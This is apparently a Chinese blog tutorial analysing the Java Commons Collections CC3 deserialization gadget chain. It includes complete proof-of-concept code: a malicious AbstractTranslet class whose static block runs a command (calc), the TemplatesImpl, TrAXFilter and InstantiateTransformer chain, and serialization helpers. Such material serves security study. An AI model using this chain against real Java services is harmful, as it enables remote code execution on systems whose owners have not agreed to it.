Java反序列化CommonsCollections篇CC3-另一种执行方式

前言

相较于CC1,CC3改变了执行类,可以进行任意类加载,代码执行应用更加广泛。

CC3链分析

执行类

在基础篇中提到,类动态加载的核心在于defineClass方法。

这个方法做的事情就是由字节码加载为java对象,也就是类加载。但是这个方法是protected修饰的,不能直接被包外的类调用,需要逆向找谁调用了它。

可以看到在Templateslmpl类中调用了,这里没写类型默认是default,只能在当前包中调用,继续往上找。

可以看到在该类的defineTransletClasses方法中调用了,还是protected,继续找

在该类的getTransletInstance方法中调用了。其实这里找到了三个方法,为什么选择这个呢?
因为执行静态代码块需要满足两个条件,类加载与初始化。而这个方法中对_class初始化了,所以我们需要将链走到这里。这个还是私有的方法,继续往上找,看谁调用了它。

终于找到public方法,先写个代码测试一下能不能执行。

测试

在getTransletInstance中,我们的目的是要走到defineTransletClasses,所以_name不能为空_class要为空,继续往里走

这里的_bytecodes不能为空,是一个二维数组,里面存的是恶意类的字节码。

_tfactory属性不能为空,因为它需要调用某个类的函数。

但是它是由transient修饰的,不能序列化,那怎么办?链子是不是走不通了。

其实在readObject方法中对这个属性赋值了。

代码

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.TransformerConfigurationException;  
import java.io.IOException;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class CC3 {  
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
        Field tfactory = tc.getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templates,new TransformerFactoryImpl());  
        templates.newTransformer();  
    }  
}

但是报了个NullPointerException,动调一下。
这里其实类已经被加载了,但是因为父类不是ABSTRACT_TRANSLET,进入了else报错了。

那直接继承这个类就行了

完整恶意类,这里还得实现两个抽象方法

package com.LE0;  
  
import java.io.IOException;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class Evil extends AbstractTranslet {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
          
    }  
}

重新编译运行,替换class文件,成功弹出计算器

调用链


但是实际情况下有可能过滤了InvokerTransformer,所以还得找其他链子,继续找谁调用了newtransformer。

找到了TrAXFilter,但这个类是不能序列化的,我们只能在它的构造方法中赋值调用。CC3链作者用到了InstantiateTransformer这个类。重点在于它的transform方法。

它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行。接下来找入口类,和cc1的相同,相较于cc1链,它就是把InvokerTransformer类替换成这个类了。而入口类还是AnnotationInvocationHandler

代码

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import javax.xml.transform.TransformerConfigurationException;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
  
public class CC3 {  
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
        Field tfactory = tc.getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templates,new TransformerFactoryImpl());  
//        templates.newTransformer();  
  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
          instantiateTransformer};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
//        instantiateTransformer.transform(TrAXFilter.class);  
  
        HashMap<Object, Object> map = new HashMap();  
        map.put("value", "value");  
        Map<Object, Object> transformedmap = TransformedMap.decorate(map, (Transformer)null, chainedTransformer);  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
        declaredConstructor.setAccessible(true);  
        Object obj = declaredConstructor.newInstance(Target.class, transformedmap);  
//        serialize(obj);  
        deserialize("ser.bin");  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

总结

这几条CC链其实就是不同板块方法的排列组合。相对于前面分析的CC1和CC6,可以进行任意代码执行,更灵活了。

参考

java反序列化-cc3链分析 - FreeBuf网络安全行业门户

https://www.bilibili.com/video/BV1Zf4y1F74K

posted @ 2026-02-08 16:12  leee0  阅读(10)  评论(0)    收藏  举报